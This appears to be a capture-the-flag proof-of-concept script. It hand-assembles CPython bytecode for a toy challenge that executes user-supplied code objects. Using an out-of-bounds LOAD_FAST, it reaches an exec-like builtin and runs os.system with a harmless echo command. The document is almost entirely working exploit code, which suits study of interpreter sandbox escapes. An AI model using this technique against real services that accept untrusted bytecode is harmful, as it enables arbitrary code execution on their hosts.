python bytecode exploit

exploit.py

import subprocess
import opcode

# This may need to be adjusted but should always
# be reachable
EXEC_OFF = 29

'''
chall.py:

data = bytes.fromhex(input())
def challenge(data, stacksize=0, variables=0):
    func = lambda:None
    func.__code__ = func.__code__.replace(
        co_stacksize=stacksize,
        co_nlocals=variables,
        co_varnames= ('',) * variables,
        co_code=data
    )
    return func()
print(repr(challenge(data, 0, 0)))

'''

def run(payload):
    proc = subprocess.run(['python3', 'chall.py'], input=payload.hex().encode(),
                        stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
    return proc

def inst(opc, arg=0):
    arg &= 0xffffffff

    nb = max(1,-(-arg.bit_length()//8))
    assert nb == 1 # can't use EXTENDED_ARG in this poc

    ab = arg.to_bytes(nb, 'big')
    ext_arg = opcode.opmap['EXTENDED_ARG']
    inst = bytearray()
    for i in range(nb-1):
        inst.append(ext_arg)
        inst.append(ab[i])

    opn = opcode.opmap[opc]
    inst.append(opn)
    inst.append(ab[-1])
    inst.extend([0]*2*opcode._inline_cache_entries[opn])
    return bytes(inst)

def build_num(n):
    ins = [
        inst('LOAD_CONST', 0), # None
        inst('UNARY_NOT'), # True
        inst('UNARY_POSITIVE'), # 1
        inst('COPY', 1),
        inst('COPY', 1),
        inst('BINARY_OP', 10), # 1-1=0
    ]

    # build powers of two and conditionally add
    for i in range(n.bit_length()):
        if n & (1<<i):
            ins += [
                inst('COPY', 2),
                inst('BINARY_OP', 0), # +
            ]            
        ins += [
            inst('SWAP', 2),
            inst('COPY', 1),
            inst('BINARY_OP', 0), # +
            inst('SWAP', 2)
        ]
    ins += [
        inst('SWAP', 2),
        inst('POP_TOP'),
    ]
    return b''.join(ins)

def build_ch(ch: str):
    return b''.join([
        build_num(ord(ch)),
        inst('LOAD_FAST', EXEC_OFF),
        inst('FORMAT_VALUE', 0),
        build_num(13),
        inst('BINARY_SUBSCR'), # 'c'
        inst('FORMAT_VALUE', 4),
    ])

def build_string(string: str):
    ins = [
        inst('BUILD_STRING', 0) # ''
    ]
    for ch in string:
        ins += [
            build_ch(ch),
            inst('BINARY_OP', 0), # +
        ]
    return b''.join(ins)

pl = b''.join([
    inst('PUSH_NULL'),
    inst('LOAD_FAST', EXEC_OFF),
    build_string('import os; os.system("echo pwned!")'),
    inst('CALL', 1),
    inst('RETURN_VALUE'),
])
print(run(pl).stdout.decode())